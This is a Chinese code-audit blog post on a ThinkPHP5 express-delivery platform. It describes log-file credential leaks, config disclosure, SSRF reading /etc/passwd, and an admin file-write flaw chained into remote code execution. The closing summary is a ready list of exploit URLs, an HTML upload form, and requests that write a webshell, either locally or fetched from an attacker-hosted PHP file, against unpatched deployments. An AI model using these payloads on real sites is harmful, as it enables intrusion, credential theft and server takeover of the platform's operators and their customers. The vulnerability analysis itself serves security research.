请遵守法律法规,合法冲浪
本文仅作知识分享用
一切直接或间接由于本文所造成的后果与本人无关
系统简介
快递代发快递代寄寄件小程序可以对接易达云洋一级总代。快递小程序,接入云洋/易达物流接口,支持选择快递公司,三通一达,极兔,德邦等,功能成熟。由ThinkPHP5开发的全新快递平台系统。
开发语言:PHP
开发框架:ThinkPHP5
后台登陆:/admin/login/index.html
代码解析
日志文件泄露
由于该系统的根目录不是TP框架常见的public目录,导致了日志文件可访问,从而导致敏感的信息泄露,例如管理员账号密码,示例如下:
敏感信息泄露
在“源码/application/app/controller/Api.php”中,“getConfig”函数可以获取网站的一些配置信息,例如短信账号密码,管理员个人信息等。
构造路由访问,效果如下:
SSRF
同样在“源码/application/app/controller/Api.php”中,“httpRequest”函数中可使用“curl_exec”,并且参数“url”可控,利用成功可造成SSRF漏洞。
构造路由和参数访问,成功访问了Google和读取“/etc/passwd”,效果如下:
后台文件读取/RCE
通过前面的日志泄露或文件读取获取到管理员的账号密码登录后台,在后台文件“源码/application/admin/controller/Index.php”中,“download_file”函数可以实现任意文件写入。
在该函数中,“url”、“dir”、“filename”三个参数均可控,当参数“url”不为空时函数向下执行,参数“dir”可以不用传值,参数“filename”控制最终保存文件的文件名。
当函数运行到“ob_start();”时,意思是开启缓存捕捉,然后函数通过“readfile($url);”读取本地或远程的文件,并且文件内容保存在了缓存中。
当函数成功读取本地或远程的文件后,文件内容通过“$img = ob_get_contents();”传递给了变量“$img”,最后通过“$fp2 = fopen($filename, "a");”和“fwrite($fp2, $img);”将文件内容保存到了名为“$filename”的文件中。
通过分析,此处大致可以整理出以下几个利用点:
1.本地文件读取(这里以读取“./application/database.php”文件为例)
No.1 写入文件。
No.2 访问“123.txt”文件,间接读取“./application/database.php”文件。
2.本地任意文件写入(这里可以通过前期上传图片马,然后通过这个接口将图片马重写为php文件,从而达到RCE的效果)
No.1 先上传图片。
No.2 写入文件。
No.3 访问“1234.php”文件,成功RCE。
3.远程任意文件写入(At服务器开启http服务,并将需要写入的内容保存在At服务器上)
No.1 写入文件。
No.2 访问“12345.php”文件,成功RCE。
漏洞总结
日志文件泄露
/runtime/log/202404/22.log
敏感信息泄露
/app/api/getconfig
/app/api/getsetting
SSRF
/app/api/httpRequest?url=https://www.google.com/
/app/exp/httpRequest?url=https://www.google.com/
/app/express/httpRequest?url=https://www.google.com/
# 读取本地文件
/app/api/httpRequest?url=file:///etc/passwd
/app/exp/httpRequest?url=file:///etc/passwd
/app/express/httpRequest?url=file:///etc/passwd
后台本地文件读取
# 1.访问http://xxx.xxx.xxx/test.txt查看读取的文件
/admin/index/download_file?url=./application/database.php&dir=&filename=test.txt
后台任意文件写入
# webshell地址http://xxx.xxx.xxx/test.php
# 上传图片,保存为html文件打开
<html>
<head>
<title>文件上传</title>
</head>
<body>
<form action="http://xxx.xxx.xxx/app/app/uploadify" method="post" enctype="multipart/form-data">
文件:<input type="file" name="file"><br>
<input type="submit" value="提交">
</form>
</body>
</html>
# 本地任意文件写入
/admin/index/download_file?url=./attachs/2024/04/22/662634ba481be.png&dir=&filename=test.php
# 远程任意文件写入
/admin/index/download_file?url=http://xxx.xxx.xxx/123.php&dir=&filename=test.php
原文始发于微信公众号(实战安全研究):[代码审计] 某全新快递平台系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论